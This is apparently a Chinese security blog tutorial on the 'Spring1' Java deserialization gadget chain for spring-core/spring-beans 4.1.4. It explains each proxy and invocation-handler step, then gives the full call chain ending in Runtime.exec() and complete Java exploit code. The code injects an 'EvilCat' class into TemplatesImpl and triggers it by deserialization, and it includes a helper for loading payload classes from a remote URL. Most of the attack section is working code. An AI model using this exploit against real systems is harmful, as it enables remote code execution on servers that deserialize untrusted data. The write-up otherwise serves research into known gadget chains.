依赖版本
spring-core : 4.1.4.RELEASE spring-beans : 4.1.4.RELEASE jdk 1.7
0x01 动态代理 Proxy.java JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。
java/lang/reflect/Proxy.java
三个参数分别是ClassLoader, 要代理的interfaces,和调用的invocationHandler。
代理后,使用interfaces里面的方法时,会自动调用传入invocationHandler.invoke()方法。相当于在不动源代码的情况下,通过invocationHandler.invoke对原方法的增强。
知道这点就够了。
0x02 AnnotationInvocationHandler.java sun/reflect/annotation/AnnotationInvocationHandler.java
通过这个AnnotationInvocationHandler.java 动态代理结合interfaces,然后在反射构造函数传入map,map里面包含interfaces里面的方法名,和一个对象(map(“方法名”,Object) ),就可以在invocationHandler.invoke()调用时放回这个Object, 这就是Spring1这条链的精髓所在。
invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
只能说是无敌。
0x03 MethodInvokeTypeProvider org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.java
接下来我们从反序列触发点开始分析。
readObject()
1 2 3 4 5 private void readObject (ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this .provider.getType().getClass(), this .methodName); this .result = ReflectionUtils.invokeMethod(method, this .provider.getType()); }
先在class找对应的方法,然后使用这个方法。调用的方法只能是无参方法。很容易就想到TemplatesImpl.newTransformer()。也就是办法把methodName改为newTransformer,provider.getType().getClass()要得到TemplatesI。
0x04 TypeProvider org.springframework.core.SerializableTypeWrapper$TypeProvider
TypeProvider这个接口刚好有这个方法,可以想到通过AnnotationInvocationHandler.invoke来放回TemplatesI。
那么就是通过动态代理代理TypeProvider接口,invocationHandler传入AnnotationInvocationHandler,然后通过反射调用构造函数传入map(“geType”,TemplatesI),在调用接口任意方法就能返回TemplatesI。
对应的实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); HashMap<String, Object> map2 = new HashMap <>(); map2.put("getType" , templates);InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" );Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, newInvocationHandler); Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> cons = clazz2.getDeclaredConstructors()[0 ]; cons.setAccessible(true ); cons.newInstance(typeProviderProxy,TemplatesImpl.class.getMethod("newTransformer" ), 0 );
调试
可以发现成功返回了TemplatesImpl。
但是为什么没有加载成功defindclass了。
这里报错,抛出了类型转换错误,TemplatesImpl不能转化为Type类型。那怎么办了?
0x05 ObjectFactoryDelegatingInvocationHandler springframework里面有一个InvocationHandler类。
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
构造函数
objectFactory可控
invoke方法
所以要找一个接口里面有toString或者getObject方法(理论上)。
这条链子找的是getObject。
然后在ObjectFactoryDelegatingInvocationHandler.invoke,可以结合AnnotationInvocationHandler返回TemplatesImpl。
对应代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); HashMap<Object, Object> map = new HashMap <>(); map.put("getObject" , templates); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{ObjectFactory.class}, invocationHandler); Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0 ]; ofdConstructor.setAccessible(true ); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, ofdHandler); Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> cons = clazz2.getDeclaredConstructors()[0 ]; cons.setAccessible(true ); cons.newInstance(typeProviderProxy,TemplatesImpl.class.getMethod("newTransformer" ), 0 );
调试
可以看见按照预期,接下来应该进入AnnotationInvocationHandler,然后返回TemplatesImpl
但是还是报错了
显示反射调用的权限问题。
这个类不能直接实列化。
所以需要返回这个对象,这里很自然就想起AnnotationInvocationHandler在代理一遍。
不得不说,世上无难事,有事找大哥,大哥们的花活太强了。
1 2 3 4 5 6 7 8 9 Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, ofdHandler); HashMap<Object, Object> map1 = new HashMap <>(); map1.put("getType" , typeTemplateProxy);InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map1); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" );Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, newInvocationHandler);
这样在this.provider.getType()返回一个SerializableTypeWrapper$TypeProvider对象。
但是需要的是TemplatesImpl类。
大哥这里是这样处理的,只能说艺术。
1 2 3 4 5 6 7 Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, ofdHandler);
这样既满足SerializableTypeWrapper$TypeProvider.getType(),又能找到newTransformer方法,完成触发。
0x06 完整利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ObjectInputStream.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() HashMap.get() ReflectionUtils.findMethod() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() HashMap.get() ReflectionUtils.invokeMethod() Method.invoke() Templates(Proxy).newTransformer() AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() ObjectFactory(Proxy).getObject() AnnotationInvocationHandler.invoke() HashMap.get() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated).<static init> Runtime.exec()
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 package com.tmp.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.springframework.beans.factory.ObjectFactory;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.*;import java.net.URL;import java.net.URLConnection;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class spring1 { public static void main (String[] args) throws Exception { byte [] classBytes = Files.readAllBytes(Paths.get("EvilCat.class" )); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); HashMap<String, Object> map = new HashMap <>(); map.put("getObject" , templates); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{ObjectFactory.class}, invocationHandler); Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0 ]; ofdConstructor.setAccessible(true ); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, ofdHandler); HashMap<String, Object> map2 = new HashMap <>(); map2.put("getType" , typeTemplateProxy); InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, newInvocationHandler); Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> cons = clazz2.getDeclaredConstructors()[0 ]; cons.setAccessible(true ); Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString" ), 0 ); Field field = clazz2.getDeclaredField("methodName" ); field.setAccessible(true ); field.set(objects, "newTransformer" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cc7" )); outputStream.writeObject(objects); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cc7" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } private static byte [] loadRemoteClass(String remoteClassUrl) throws IOException { URL url = new URL (remoteClassUrl); URLConnection connection = url.openConnection(); try (InputStream inputStream = connection.getInputStream(); BufferedInputStream bufferedInputStream = new BufferedInputStream (inputStream); ByteArrayOutputStream outputStream = new ByteArrayOutputStream ()) { byte [] buffer = new byte [1024 *1024 ]; int bytesRead; while ((bytesRead = bufferedInputStream.read(buffer)) != -1 ) { outputStream.write(buffer, 0 , bytesRead); } return outputStream.toByteArray(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
su18 NB
参考 https://su18.org/post/ysoserial-su18-3/#spring1